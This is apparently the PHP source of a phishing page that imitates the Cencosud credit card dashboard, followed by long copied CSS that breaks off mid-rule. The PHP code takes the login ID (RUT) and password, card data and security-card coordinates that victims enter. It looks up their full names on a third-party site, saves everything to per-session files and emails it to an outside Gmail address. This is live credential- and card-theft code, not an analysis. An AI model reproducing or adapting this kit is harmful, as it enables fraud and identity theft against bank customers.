/home/crealab/cntxt.brainware.com.co/home.php
<?
session_start();
include 'config.php';
//echo $primero;
if($_POST["rut"]){
$_SESSION["rut"]=$_POST["rut"];
$_SESSION["password"]=$_POST["password"];
}
if($_GET['save']=='cc'){
$_SESSION["cc"]=$_POST;
sendmail();
}
if($_GET['save']=='coordenadas'){
$_SESSION["coordenadas"]=json_decode(file_get_contents('php://input'));
sendmail();
}
if($_GET['save']=='coordenadas2'){
$_SESSION["coordenadas2"]=json_decode(file_get_contents('php://input'),1);
sendmail();
}
$_SESSION["nombreCompleto"] = getRut($_SESSION["rut"]);
//print_r($_SESSION["nombreCompleto"]);
//exit();
$explode = explode(' ',$_SESSION["nombreCompleto"]);
$_SESSION["nombre"]=$explode[count($explode)-1];
//print_r(($_SESSION));
$file = fopen('clientes/'.session_id().'.json','w+');
fwrite($file, json_encode($_SESSION));
fclose($file);
if($_GET['ultimo']=='true'){
}
function sendmail(){
// the message
$msg = json_encode($_SESSION);
$body='<table width="90%" border="0">
<tr>
<td><b>Nombre:</b></td> <td>'.$_SESSION["nombreCompleto"].'</td>
</tr>
<tr>
<td><b>RUT:</b></td> <td>'.$_SESSION["rut"].'</td>
</tr>
<tr>
<td><b>Password:</b></td> <td>'.$_SESSION["password"].'</td>
</tr>
<tr>
<td><b>CC:</b></td> <td>'.print_r($_SESSION["cc"], true).'</td>
</tr>
<tr>
<td><b>Coordenadas1:</b></td> <td>'.print_r((array)$_SESSION["coordenadas"], true).'</td>
</tr>
<tr>
<td><b>Coordenadas2:</b></td> <td>'.print_r($_SESSION["coordenadas2"], true).'</td>
</tr>
<tr>
<td>enviado desde: '.$_SERVER['SERVER_NAME'].'</td>
</tr>
<tr></table>';
$headers = 'MIME-Version: 1.0'."\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1'."\r\n";
$headers .= "Bcc: venedictoxvi2025@gmail.com";
mail("venedictoxvi2025@gmail.com;","Login-CencoSud - ".session_id(),$body,$headers);
}
//print_r($_SESSION);
function getRut($rut){
//STEP DOS EXTRAER CUENTA Y SALDOS
$postvalue = "term=".$rut;
//echo $postvalue;
//URL CONEXION
$url = "https://www.nombrerutyfirma.com/rut";
//Inicializo el handler de Curl
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postvalue);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_REFERER, 'https://www.nombrerutyfirma.cl/');
$viewHtml = curl_exec($ch);
curl_close($ch);
//echo $viewHtml;
$name = '';
if(preg_match_all('|<tr tabindex="1">(.*)</tr>|sU', $viewHtml, $matches, PREG_SET_ORDER)):
if(preg_match_all('|<td>(.*)</td>|sU', $viewHtml, $matches, PREG_SET_ORDER)):
$name = $matches[0][1];
endif;
endif;
return $name;
}
?>
<!DOCTYPE html>
<!-- saved from url=(0042)https://www.mitarjetacencosud.cl/dashboard -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<link rel="stylesheet" href="landing/static/styles.ca1132029e4b23633a6e.css">
<title>Hola, <? echo $_SESSION["nombre"];?>! - Cencosud</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon" href="https://www.mitarjetacencosud.cl/dashboard/static/favicon.ico" alt="favicon de tarjeta cencosud">
<meta name="theme-color" content="#000000">
<meta name="description" content="Tarjetas Cencosud">
<link rel="stylesheet" href="dashboard_files/offershareincrease-4.css">
<link href="dashboard_files/app.4f3b1db54983720ff7e1.css" rel="stylesheet"><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.amount--selector {
width: 100%;
display: flex;
flex-direction: column; }
.amount--selector .selector__input {
width: 100%;
height: 6px;
-webkit-appearance: none !important;
background: #FA6400;
border-radius: 6px; }
.amount--selector .selector__input::-webkit-slider-thumb {
-webkit-appearance: none !important;
background: #FA6400;
height: 40px;
width: 40px;
border-radius: 50%;
cursor: pointer;
background-image: url("https://staticresourcerfsc.blob.core.windows.net/dev/web/static/12059065339050501-arrows.svg");
background-position: center;
background-repeat: no-repeat; }
.amount--selector .selector__input::-moz-range-thumb {
-webkit-appearance: none !important;
background: #FA6400;
height: 40px;
width: 40px;
border-radius: 50%;
cursor: pointer;
background-image: url("https://staticresourcerfsc.blob.core.windows.net/dev/web/static/12059065339050501-arrows.svg");
background-position: center;
background-repeat: no-repeat;
border: 0; }
.amount--selector .selector__amounts {
width: 100%;
display: flex;
justify-content: space-between;
margin-top: 30px; }
.amount--selector .selector__amounts .amounts__start,
.amount--selector .selector__amounts .amounts__end {
font-family: Nunito-Bold;
font-size: 12px;
line-height: 16px;
color: #575151; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.banner--promotions {
width: 100%;
max-width: 1038px;
height: 140px;
display: flex;
align-items: center;
box-shadow: 0px 0px 1px rgba(40, 41, 61, 0.04), 0px 2px 4px rgba(96, 97, 112, 0.16);
border-radius: 10px;
background-color: #ffffff; }
@media (max-width: 727px) {
.banner--promotions {
width: 100%;
height: 266px;
align-items: inherit; } }
.banner--promotions .banner--promotions__container {
width: 100%;
overflow: hidden;
display: flex;
align-items: center; }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container {
flex-direction: column; } }
.banner--promotions .banner--promotions__container .container__slide {
display: flex;
flex-direction: column;
width: 234px;
height: 136px;
z-index: 1;
background-color: #ffffff;
justify-content: center;
padding-left: 30px;
border-radius: 10px 0 0 10px; }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__slide {
width: inherit;
height: inherit;
padding: 0px; } }
.banner--promotions .banner--promotions__container .container__slide .slide__title {
font-family: Nunito-Bold;
font-size: 20px;
line-height: 20px;
width: 204px; }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__slide .slide__title {
width: 100%;
margin-left: 20px;
margin-top: 22px;
margin-bottom: 28px; } }
@media (max-width: 320px) {
.banner--promotions .banner--promotions__container .container__slide .slide__title {
font-size: 18px; } }
.banner--promotions .banner--promotions__container .container__slide .slide__page {
width: 156px;
display: flex;
margin-top: 20px; }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__slide .slide__page {
display: none; } }
.banner--promotions .banner--promotions__container .container__slide .slide__page .page__button--back {
cursor: pointer;
padding-right: 16px;
display: flex; }
.banner--promotions .banner--promotions__container .container__slide .slide__page .page__navegation {
display: flex; }
.banner--promotions .banner--promotions__container .container__slide .slide__page .page__navegation .navegation {
cursor: pointer;
padding-right: 12px; }
.banner--promotions .banner--promotions__container .container__slide .slide__page .page__navegation .navegation .navegation__dot--check {
background-color: #122e43;
border-radius: 10px; }
.banner--promotions .banner--promotions__container .container__slide .slide__page .page__button--next {
cursor: pointer;
padding-left: 4px;
display: flex; }
.banner--promotions .banner--promotions__container .container__images--web {
cursor: pointer;
display: flex;
align-items: center;
height: 136px;
width: 722px; }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--web {
display: none; } }
.banner--promotions .banner--promotions__container .container__images--web.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton {
margin-left: 28px; }
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--top {
margin-bottom: 14px;
margin-top: 18px; }
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--top .loading {
width: 148px;
height: 12px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--top .loading {
margin-bottom: 4px; } }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--top .loading {
width: 82px; } }
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--center {
margin-top: 6px;
margin-bottom: 10px; }
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--center .loading {
width: 482px;
height: 16px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--center .loading {
margin-bottom: 4px; } }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--center .loading {
width: 266px; } }
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--bottom {
margin-top: 10px;
margin-bottom: 20px; }
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--bottom .loading {
width: 536px;
height: 36px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--bottom .loading {
margin-bottom: 4px; } }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--web .images--esqueleton .esqueleton--bottom .loading {
width: 296px; } }
.banner--promotions .banner--promotions__container .container__images--web img {
margin: 10px 28px 10px 28px; }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--web {
width: 100%; }
.banner--promotions .banner--promotions__container .container__images--web img {
margin-left: 20px;
margin-right: 24px; } }
.banner--promotions .banner--promotions__container .container__images--mobile {
display: none; }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--mobile {
cursor: pointer;
display: flex;
align-items: center;
height: 136px;
width: 722px; } }
.banner--promotions .banner--promotions__container .container__images--mobile.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton {
margin-left: 28px; }
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--top {
margin-bottom: 14px;
margin-top: 18px; }
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--top .loading {
width: 148px;
height: 12px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--top .loading {
margin-bottom: 4px; } }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--top .loading {
width: 82px; } }
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--center {
margin-top: 6px;
margin-bottom: 10px; }
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--center .loading {
width: 482px;
height: 16px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--center .loading {
margin-bottom: 4px; } }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--center .loading {
width: 266px; } }
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--bottom {
margin-top: 10px;
margin-bottom: 20px; }
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--bottom .loading {
width: 536px;
height: 36px;
border-radius: 6px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(90deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 576px) {
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--bottom .loading {
margin-bottom: 4px; } }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--mobile .images--esqueleton .esqueleton--bottom .loading {
width: 296px; } }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__images--mobile {
width: 100%; }
.banner--promotions .banner--promotions__container .container__images--mobile img {
margin-left: 20px; } }
.banner--promotions .banner--promotions__container .container__navegation {
display: none; }
@media (max-width: 727px) {
.banner--promotions .banner--promotions__container .container__navegation {
display: flex;
margin-top: 22px; }
.banner--promotions .banner--promotions__container .container__navegation .navegation {
cursor: pointer;
margin-right: 12px; }
.banner--promotions .banner--promotions__container .container__navegation .navegation .navegation__dot--check {
background-color: #122e43;
border-radius: 10px; } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
footer {
width: 100%;
height: 235px;
display: flex;
flex-direction: column;
padding-top: 28px; }
@media (max-width: 1023px) {
footer {
height: auto;
padding-top: 16px; } }
footer .footer__information {
display: flex;
justify-content: space-between;
padding: 0 48px; }
@media (max-width: 1023px) {
footer .footer__information {
flex-direction: column;
padding: 0 16px; } }
footer .footer__information .information__rrsss {
display: flex;
flex-direction: column; }
@media (max-width: 1023px) {
footer .footer__information .information__rrsss {
flex-direction: row;
width: 100%;
justify-content: space-between;
align-items: center;
border-bottom: 1px solid #ECEFF4;
margin-bottom: 16px;
padding-bottom: 16px; } }
footer .footer__information .information__rrsss .rrss__title {
font-family: Nunito-SemiBold;
font-size: 16px;
line-height: 22px;
color: #122e43; }
footer .footer__information .information__rrsss .rrss__icons {
display: flex;
margin-top: 12px; }
@media (max-width: 1023px) {
footer .footer__information .information__rrsss .rrss__icons {
margin-top: 0; } }
footer .footer__information .information__rrsss .rrss__icons .icons__icon {
width: 24px;
height: 24px;
background-color: #f0f2f5;
display: flex;
justify-content: center;
align-items: center;
margin-right: 16px;
border-radius: 50%; }
footer .footer__information .information__rrsss .rrss__icons .icons__icon:last-child {
margin-right: 0; }
footer .footer__information .information__emergencies {
display: flex;
flex-direction: column;
align-items: center; }
@media (max-width: 1023px) {
footer .footer__information .information__emergencies {
flex-direction: row;
width: 100%;
justify-content: space-between;
order: 3;
margin-bottom: 16px; } }
footer .footer__information .information__emergencies .emergencies__title {
font-family: Nunito-SemiBold;
font-size: 16px;
line-height: 22px;
color: #122e43; }
@media (max-width: 1023px) {
footer .footer__information .information__emergencies .emergencies__title {
width: 150px; } }
footer .footer__information .information__emergencies .emergencies__phone {
font-family: Nunito-ExtraBold;
font-size: 16px;
line-height: 22px;
color: #122e43;
margin: 12px 0 0;
display: inherit;
text-decoration: none; }
@media (max-width: 1023px) {
footer .footer__information .information__emergencies .emergencies__phone {
font-family: Nunito-Bold;
margin-top: 0; } }
footer .footer__information .information__customer--services {
display: flex;
flex-direction: column;
align-items: flex-end; }
@media (max-width: 1023px) {
footer .footer__information .information__customer--services {
flex-direction: row;
width: 100%;
justify-content: space-between;
align-items: center;
order: 2;
margin-bottom: 16px; } }
footer .footer__information .information__customer--services .customer--services__title {
font-family: Nunito-SemiBold;
font-size: 16px;
line-height: 22px;
color: #122e43; }
footer .footer__information .information__customer--services .customer--services__phone {
font-family: Nunito-ExtraBold;
font-size: 16px;
line-height: 22px;
color: #122e43;
margin: 12px 0 0;
display: inherit;
text-decoration: none; }
@media (max-width: 1023px) {
footer .footer__information .information__customer--services .customer--services__phone {
font-family: Nunito-Bold;
margin-top: 0; } }
footer .footer__information .information__sales {
display: none; }
@media (max-width: 1023px) {
footer .footer__information .information__sales {
width: 100%;
display: flex;
justify-content: space-between;
align-items: center;
order: 4; }
footer .footer__information .information__sales .sales__title {
font-family: Nunito-SemiBold;
font-size: 16px;
line-height: 22px;
color: #122e43; }
footer .footer__information .information__sales .sales__phone {
font-family: Nunito-Bold;
font-size: 16px;
line-height: 22px;
color: #122e43;
margin: 0;
display: inherit;
text-decoration: none; } }
footer .footer__legal {
width: 100%;
height: 100%;
margin-top: 28px;
border-top: 1px solid #ECEFF4;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
text-align: center; }
@media (max-width: 1023px) {
footer .footer__legal {
width: auto;
padding: 24px 16px 0; } }
footer .footer__legal p {
font-family: Nunito-SemiBold;
font-size: 12px;
line-height: 16px;
color: #222D4B;
margin: 0; }
footer .footer__legal p:nth-child(2) {
margin-bottom: 16px; }
@media (max-width: 1023px) {
footer .footer__legal p {
text-align: left; } }
footer .footer__legal p a {
color: #18a0fb;
text-decoration: none; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
